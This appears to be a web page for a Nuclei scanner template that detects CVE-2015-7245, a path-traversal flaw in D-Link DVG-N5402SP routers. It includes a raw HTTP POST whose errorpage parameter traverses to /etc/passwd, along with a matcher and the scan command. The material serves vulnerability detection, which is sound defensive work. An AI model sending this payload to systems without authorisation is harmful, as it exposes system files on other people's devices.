D-Link DVG-N5402SP - Local File Inclusion

ID: CVE-2015-7245

Severity: high

Author: 0x_Akoko

Tags: cve2015,cve,dlink,lfi,packetstorm,edb,d-link

Description

D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.

YAML Source

id: CVE-2015-7245

info:
  name: D-Link DVG-N5402SP - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    D-Link DVG-N5402SP is susceptible to local file inclusion in products with firmware W1000CN-00, W1000CN-03, or W2000EN-00. A remote attacker can read sensitive information via a .. (dot dot) in the errorpage parameter.
  impact: |
    An attacker can read sensitive files on the system, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/135590/D-Link-DVG-N5402SP-Path-Traversal-Information-Disclosure.html
    - https://www.exploit-db.com/exploits/39409/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7245
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-7245
    cwe-id: CWE-22
    epss-score: 0.96378
    epss-percentile: 0.99562
    cpe: cpe:2.3:o:d-link:dvg-n5402sp_firmware:w1000cn-00:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: d-link
    product: dvg-n5402sp_firmware
  tags: cve2015,cve,dlink,lfi,packetstorm,edb,d-link

http:
  - raw:
      - |
        POST /cgibin/webproc HTTP/1.1
        Host: {{Hostname}}

        getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/passwd&var%3Amenu=setup&var%3Apage=connected&var%&objaction=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022071dca787d77761d821030d30c957ab10d31f6a0084bc6adf46b8f60028457e78022100a3b50d965b4efbe838908fe13bd2ea483c5c4d1fa9bd9212e01938142225a842:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-7245.yaml"

View on Github